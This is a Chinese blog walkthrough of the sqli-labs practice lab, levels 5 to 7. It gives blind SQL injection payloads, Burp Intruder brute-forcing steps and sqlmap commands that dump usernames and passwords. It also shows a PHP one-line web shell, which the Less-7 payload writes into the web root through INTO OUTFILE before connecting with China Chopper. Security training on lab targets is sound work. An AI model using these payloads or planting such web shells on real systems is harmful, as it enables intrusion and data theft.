sqli-labs Less5-Less7

首先补充一段基础知识

 Less-5 

当输入正确时返回“You are in ......”当输入错误时没有返回结果

 ?id=1' and left((select database()),1)='s'--+   判断数据库第一个字符是不是s

 ?id=1' and left((select database()),1)='a'--+  注入错误,使用Burp Suite进行暴力破解

使用之前先设置浏览器的手动代理,端口为8080

选中右击,选择“send to intruder”

打开Intruder的 Positions

 点击右侧clear,只选中a,点击右侧Add

进入Payloads,修改以下几个地方

 

 options中修改

 点击暴力破解 start attack

点击length,通过对比发现s的长度短,并在下方相应位置找到You are in,由此我们可以知道第一个字母是s

 

如果想知道后面的字母那就改成下图样式,根据上面的步骤,以此类推将security破解出来

 第二种方法

通过二分法进行测试

?id=1'and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>10--+ 

select schema_name from information_schema.schemata limit 1,1  查询显示第二个数据库

 ?id=1'and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>100--+  显示不正确,说明小于100

>50、>80、>90 、>95、>98均显示正确,=99时是正确的,通过查ascii可以知道是第一个字母是c,以此类推,推断出是challenges.

 完整的注入流程如下

第三种:使用sqlmap

爆出所有数据库的信息

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-5/?id=1 --dbs

爆出security数据库中的所有表名

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-5/?id=1 -D security --tables

爆出users表中所有的字段

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-5/?id=1 -D security -T users --columns

爆出用户的信息

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-5/?id=1 -D security -T users -C username,password --dump

 Less-6

与第5关类似,只不过这一关使用的是  ""的方式闭合字符串
我们只需要将?id=1' 改为 ?id=1"即可
其余过程不再赘述,请参考第五关
 
 
补充
1.文件读协权限
在mysql 命令行中输入show variables like '%secure%';

 在C:\phpStudy\MySQL\my.ini目录中加入secure_file_priv="/"

 2.一句话木马

配合中国菜刀使用较多

php的一句话是:<?php @eval($_POST['pass']);?>

3.load_file()读取本地文件

4.into outfile 写文件

用法:select 'mysql is very good' into outfile 'test1.txt';  文件位置在:C\phpstudy\MySQL\data

或者select 'crow666'into outfile'C:\\phpstudy\\WWW\\sqli-labs-master\\Less-7\\test.txt';

Less-7

首先下载中国菜刀

链接:https://pan.baidu.com/s/1A4v42kL0ieu3ZtHZJZ1FoQ

提取码:v369

先在id=1后加上单引号和双引号,页面都显示正常,但是在参数后加上注释,会报错,说明系统过滤注释符。并且sql语句id参数前后很有可能加了(),尝试了很多次发现构造:“id’ =1 ))”,可以使注释不被过滤。

但是之后尝试 union,报错注入发现不能返回需要的信息,我们使用outfile将一句话木马写入文件

http://192.168.10.246/sqli-labs-master/Less-7/?id=-1')) union select 1,2,'<?php @eval($_POST["crow"]);?>'into outfile 'C:\\phpStudy\\WWW\\sqli-labs-master\\Less-7\\test.php'--+

虽然报错,但是可以在相应目录中发现存在test.php文件

 一句话木马中引号的内容为密码,接下来链接中国菜刀,右键,添加

 

 

 如上图所示,我们已经看到连接成功,可以进行问件访问了

猜你喜欢

转载自www.cnblogs.com/heiwa-0924/p/12257593.html
今日推荐